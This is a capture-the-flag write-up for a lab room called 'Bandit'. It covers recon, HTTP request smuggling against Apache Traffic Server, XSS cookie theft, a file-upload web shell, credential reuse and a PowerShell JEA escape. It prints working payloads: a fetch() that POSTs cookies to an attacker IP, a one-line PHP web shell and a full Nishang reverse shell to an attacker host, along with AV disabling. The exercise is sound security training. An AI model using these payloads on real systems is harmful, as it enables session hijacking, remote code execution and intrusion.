Bandit

You’ve been asked to exploit all the vulnerabilities on multiple systems. - by l4m3r8 and andrea526

Recon

Scanning

Scanning our first target, the Linux machine with Nmap we can discover four open ports, of which on each of them runs a different service. On Port 22 SSH, on 80 an Apache Traffic Server, on 631 CUPS and on 8002 a web server.

Next, we head directly to the windows machine. Notable ports are Microsoft Windows RPC (port 135 and multiple 49xxx ports), Microsoft Windows file sharing (port 139 and 445), port 3389 for remote desktop and last but least port 5985 used by WinRM.

After scanning our targets with Nmap, we enumerate the available web services. We start with our main target bandit.escape on port 80. This time we use FFuF to fuzz all possible directories.

A scan with Gobuster would also be possible by excluding the length.

We exclude results with a size of 3302 to filter false positives redirected to the index page.

┌──(0xb0b㉿kali)-[~]
└─$ ffuf -u http://bandit.escape/FUZZ -w /usr/share/wordlists/dirb/big.txt -fs 3302

After having enumerated the first layer of directories, we run a second scan to enumerate all possible PHP pages on the page, since we know that PHP 7.3.4 is used from the response headers. We see there is a login implemented, and a file upload seems also possible.

┌──(0xb0b㉿kali)-[~]
└─$ ffuf -u http://bandit.escape/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -fs 3302

OSINT

An interesting finding from the FFuF scan is a license, owned by the person ricnish. On looking that person up, we are able to find a GitHub repository with a PHP authentication example. It looks like it was used to build this room. So here we have partly access to the sources of the login page with the assumption that this could have been slightly altered.

Foothold

After having inspected the source and scans, we visit the hosted website of the Linux machine. We are able to search something, a slideshow of pictures is shown, and a login page is accessible. Using the login page with default credentials admin:admin - found in the source - did not work. But the PHPSESSID cookie was set. By trying to access the upload page /upload.php we get redirected to the login page.

Looking at the source of the index page, we are able to spot the images' location. Also, the images have an MD5 hash as filename.

By requesting a search, we see that the input is passed via the filter parameter. The input gets reflected, so it stays in the input field. Nothing gets return with that search, the pictures are missing. By providing the search with a part of an image filename, it gets returned. The first tries here were to look for LFI, but weren't successful.

With a brief look at the source again, we see that reflected cross-site scripting should be possible.

Reflected XSS

Next, we test our assumption with an alert, but terminating the value field before.

"/><script>alert('hi');</script><

And we are able to sneak our little script in. At this point, we can't do much with it except to mock ourselves.

Let's move on.

HTTP Request Smuggling

Back to the Nmap results, we see that the Apache Traffic Server is used in the version 7.1.1. A quick lookup shows that Apache Traffic Server is an open-source web proxy and caching server that acts as a reverse proxy, enhancing web server performance and content delivery. After researching for known vulnerabilities, a CVE can be found regarding HTTP Request Smuggling here:

So what is HTTP Request Smuggling exactly?

HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Request smuggling is primarily associated with HTTP/1 requests. However, websites that support HTTP/2 may be vulnerable, depending on their back-end architecture.

Resources for further Reading can be found here:

After researching on how to exploit the vulnerability on that specific version two blog post with a detailed explanation of the topic were found:

So in short it is possible to craft a request, that gets prepended to the request of another user. For example to nullify the first line of the request to smuggle our own. Since the search is implemented via a query string, we have an option to smuggle our XSS payload to another user.

From the Medium Blog Post, we find a working solution of triggering the vulnerability with a space in between the Content-Length parameter and the colon of the request parameter.

Lets look at the following attacker request:

GET / HTTP/1.1
Host: bandit.escape
Content-Length : 40

GET /?filter=payload
Host: bandit.escape
foo:

This would lead to the following victim request afterwards, if the victim request GET / HTTP/1.1:

GET /?filter=payload
Host: bandit.escape
foo: GET / HTTP/1.1

For this to work correctly the Content-Length has to be the correct value. So we input the requests in Burp, send it the first time with our encoded payload to let Burp calculate the correct length. After that we place the space between the parameter and the colon. We have to disable Burp's option to update the Content-Length parameter, so it won't insert a working parameter.

Here we placed a small JavaScript to fetch to our machine to disclose information of the user making the request. Next, we set up a listener and have to submit the request several times until we see a shorter Content-Length of the response indicating that not pictures were found and the JavaScript placed.

We see, we were able to transmit the data 'Hello World' via a user requesting from bandit.escape 10.200.135.107.

Stealing A User's Session

The simplest thing we can do now is to steal the user's PHPSESSID cookie in the hope of hijacking a privileged session.

Let's first try to steal our own cookie by accessing the page by our own. It worked.

"/><script>alert(document.cookie);</script><

Now lets steal the other user's cookie.

GET / HTTP/1.1
Host: bandit.escape


GET /?filter="/><script>fetch("http://10.50.61.5:9000",{method: "POST", body: document.cookie});</script>< HTTP/1.1
Host: bandit.escape
foo:

Keep in mind of encoding the payload and calculating the correct length before.

And we'll receive a session cookie after some time.

Let's place the cookie in our browsers' storage.

Now we are able to reach http://bandit.escape/upload.php.

Bypass File Upload

First, we inspect the source and see a simple JavaScript file upload restriction, only allowing images with a specific size. This can easily be bypassed by uploading a valid image and intercepting the request with Burp Suite to manipulate the file to our desire.

Again, we are able to spot some hints to find the original sources of the image upload page at GitHub. With the search of the value of the description we are able to locate a Github respository.

Before heading to Burp we try to upload the same picture that is already been available on the website. We get a warning that the file size is too big.

Ok, lets check that with a really small image, just a PNG pixel.

Also this time the image is too big.

Let's reduce the number of character. It is actually possible to upload something, but it has to be really tiny. The smallest possible PHP web shell comes into mind, that might work. But first we have to validate that the upload was successful.

The 'image' is there and got renamed to an MD5 hash. After uploading a file with .php as ending, it does not get displayed. That might be an issue.

So next, let's try to figure out how the file name for the images gets created. Hopefully it isn't completely randomized. After hashing the content of the file, the filename without the file ending and the complete filename, we can see that the complete filename gets hashed and the file ending appended.

Since we are able now to calculate the correct file name, we should be able to access it directly at /uploads.

We place the smallest possible PHP web shell as content <?=`$_GET[0]`?>,choose the file name shell.php and upload the file.

Next, we get the file name using CyberChef.

Lets test our web shell at http://bandit.escape/uploads/25a452927110e39a345a2511c57647f2.php with a simple id command and we get a response.

Now, that we have a working web shell, we set up a listener and issue a reverse shell. We get a connection and are the user www-data with a restricted shell.

From there, we are able to look at the actual source of auth.php, in which we find the credentials of the user safeadmin. We are able to use those to log in to the web application.

Lateral Movement

Now that we have gathered some credentials, let's move on. We were not able to find anything more of interest as the user www-data. So recalling the Nmap scan, we remember that SSH is running and available on the machine. Let's check if the credentials are being reused.

Reaching A Checkpoint And Getting First Flag

We are able to log in via as SSH as the user safeadmin with the found credentials. From there we have a checkpoint and are able to retrieve the first flag in the user's home directory.

Easy Root

The first thing that was immediately obvious is that the user is allowed to run everything with sudo without a password. So we are able to directly switch to the root user.

Enumeration

We are able to spot the docker images running for the challenge and the user ubuntu, which firstly just seems to be there to set up the challenge. In the /etc/hosts file, we spot the entry for 10.200.XX.10, it's bandit.corp. Browsing through the file system, we are able to spot a PowerShell binary, and the modules PSWSMan and PSReadLine. That is interesting, maybe we are able to gain access to the Windows machine via the specific module through a PSSession.

Now we know that the module PSWSMan might haven been used, we look for possible credentials or hints in the command history.

find / -type f -name 'ConsoleHost_history.txt' -ls -exec cat {} \;

And we get a hit.

This file might not have been generated on your network if you noticed the message 'connection lost' while registering to the challenge via SSH. If that happens, you should reset or switch the network and re-register again. We fell into a rabbit-hole searching the entire system for vulnerabilities and looking at different stuff and ignoring PowerShell and the user Ubuntu under the assumption the user was just there to set up the challenge.

Moving

We run /opt/microsoft/powershell/7/./pwsh to start a PowerShell instance, and reuse the commands to enter the PowerShell session.

ConsoleHost_history.txt
$ClearPassword = "[REDACTED]”

$SecurePass = ConvertTo-SecureString $ClearPassword -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential("[REDACTED]", $SecurePass)

Enter-PSSession -ComputerName bandit.corp -Credential $credential -ConfigurationName testHelpDesksafe -Authentication Negotiate

Now we reached the bandit.corp 10.200.XXX.10 machine.

Windows Hardening Evasion

Being in the PowerShell session, we spot that we are not able to use the full set of commands.

JEA & No Language Mode

We are facing Just Enough Administration (JEA):

Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell. With JEA, you can:

  • Reduce the number of administrators on your machines using virtual accounts or group-managed service accounts to perform privileged actions on behalf of regular users.

  • Limit what users can do by specifying which cmdlets, functions, and external commands they can run.

  • Better understand what your users are doing with transcripts and logs that show you exactly which commands a user executed during their session.

Let's see what we are allowed to do with the Get-Command.

We are also in no-language mode, so we aren't able to run any scripts or use any variables.

NoLanguage mode

PowerShell NoLanguage mode disables PowerShell scripting language completely. You can't run scripts or use variables. You can only run native commands and cmdlets.

Beginning in PowerShell 7.2, the New-Object cmdlet is disabled in NoLanguage mode when system lockdown is configured.

Recalling the list of available commands via Get-Command, the Get-ServicesApplication command stands out. It looks like a custom function. Maybe there lies a vulnerability in it. By checking out the CommandInfo via Get-Command -ShowCommandInfo, we see that it is build by using the CMDlets as follows:

Get-Service | Select-Object -Property name,$Filter

This get invoked by Invoke-Expression, that allows to execute code. See:

Bypass JEA

An insightful resource about bypassing JEA can be found here:

Using "(command)" as a parameter for -Filter we are able to get code execution. Now we should be able to escape.

We issue the command whoami and get the command evaluated.

Break Out For Second Flag

To escape, we make use of the Nishang reverse shell.

$client = New-Object System.Net.Sockets.TCPClient('10.50.132.25',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

After applying IP and port, we encode the payload in base64 to avoid strange behaviors in our bypass. We set up a listener on 443.

But we got a miss. AV detection is still on.

When trying to turn off the AV, there was an error while executing it and the rev shell did not connect this time too.

Thus we encode it in base64.

This time we do not have any errors.

And our reverse shell connects.

We successfully escape the restricted PowerShell session by bypassing JEA and disabling AV to get a reverse shell. We are able to reach the Administrators Desktop where the final flag is present.

Last updated